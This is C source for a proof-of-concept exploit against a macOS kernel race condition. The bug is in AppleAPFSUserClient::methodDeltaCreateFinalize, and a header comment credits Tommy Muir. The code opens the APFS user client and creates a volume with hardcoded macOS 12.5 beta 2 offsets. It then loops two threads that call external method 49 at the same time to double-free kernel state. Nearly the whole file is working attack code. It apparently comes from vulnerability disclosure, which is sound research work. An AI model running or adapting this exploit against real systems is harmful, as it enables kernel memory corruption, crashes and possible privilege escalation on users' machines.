/* The vulnerability exists in AppleAPFSUserClient::methodDeltaCreateFinalize (external method 49). This method calls directly through to AppleAPFSContainer::deltaCreateTeardown, which is not a thread-safe method, without holding a lock. This means that it is possible for an attacker to double-free the delta_create_ctx, and related properties, by racing two calls to AppleAPFSUserClient::methodDeltaCreateFinalize. Tommy Muir (@Muirey03) */ #include #include #include #include #include #define VOLUME_NUM 45 //macOS 12.5 beta 2 offsets: #define methodVolumeCreate_INSZ 0x1f8 #define QUOTA_SZ_OFF 32 #define SLOT_NUM_OFF 48 #define ROLE_OFF 54 #define NAME_OFF 56 #define methodDeltaCreatePrepare_INSZ 0x30 static io_connect_t client = MACH_PORT_NULL; static uint volume_num = -1; static volatile char start = 0; kern_return_t create_volume(void) { kern_return_t kr; // methodVolumeCreate (0) char input[methodVolumeCreate_INSZ] = {0}; size_t outSz = 4; uint output; *(uint*)&input[QUOTA_SZ_OFF] = 0x40000002; //quota size *(uint*)&input[SLOT_NUM_OFF] = VOLUME_NUM; *(uint16_t*)&input[ROLE_OFF] = 1 << 6; //data role strcpy(&input[NAME_OFF], "targetvolume"); //volume name kr = IOConnectCallStructMethod(client, 0, input, methodVolumeCreate_INSZ, &output, &outSz); printf("methodVolumeCreate: %s (0x%x)\n", mach_error_string(kr), kr); if (kr == KERN_SUCCESS) volume_num = output; return kr; } void delete_volume(uint num) { // methodVolumeDelete (1) uint input = num; IOConnectCallStructMethod(client, 1, &input, sizeof(input), NULL, NULL); } kern_return_t prepare(void) { kern_return_t kr; // methodDeltaCreatePrepare (36) char input[methodDeltaCreatePrepare_INSZ] = {0}; size_t outSz = 0x10; char output[0x10]; uint sz = 0x20000; void* addr = calloc(sz, 1); *(void**)input = addr; ((uint*)input)[2] = sz; ((uint*)input)[3] = volume_num; kr = IOConnectCallStructMethod(client, 36, input, methodDeltaCreatePrepare_INSZ, output, &outSz); printf("methodDeltaCreatePrepare: %s (0x%x)\n", mach_error_string(kr), kr); free(addr); return kr; } void* racer(void* arg) { while (!start) {} kern_return_t kr; // methodDeltaCreateFinalize (49) <-- THIS IS WHERE THE BUG IS kr = IOConnectCallStructMethod(client, 49, NULL, 0, NULL, NULL); return NULL; } void int_handler(int sig) { if (volume_num != -1) { delete_volume(volume_num); volume_num = -1; } exit(0); } int main(int argc, char *argv[], char *envp[]) { //clean-up if we receive an interrupt: struct sigaction act = {.sa_handler = int_handler, .sa_mask = SIGINT}; sigaction(SIGINT, &act, NULL); //open client: io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleAPFSContainer")); IOServiceOpen(service, mach_task_self(), 0, &client); IOObjectRelease(service); //exploit: kern_return_t kr = create_volume(); if (kr == KERN_SUCCESS) { for (;;) { kr = prepare(); if (kr == KERN_SUCCESS) { pthread_t t0, t1; pthread_create(&t0, NULL, racer, NULL); pthread_create(&t1, NULL, racer, NULL); start = 1; pthread_join(t0, NULL); pthread_join(t1, NULL); start = 0; } else { break; } } delete_volume(volume_num); volume_num = -1; } IOServiceClose(client); return 0; }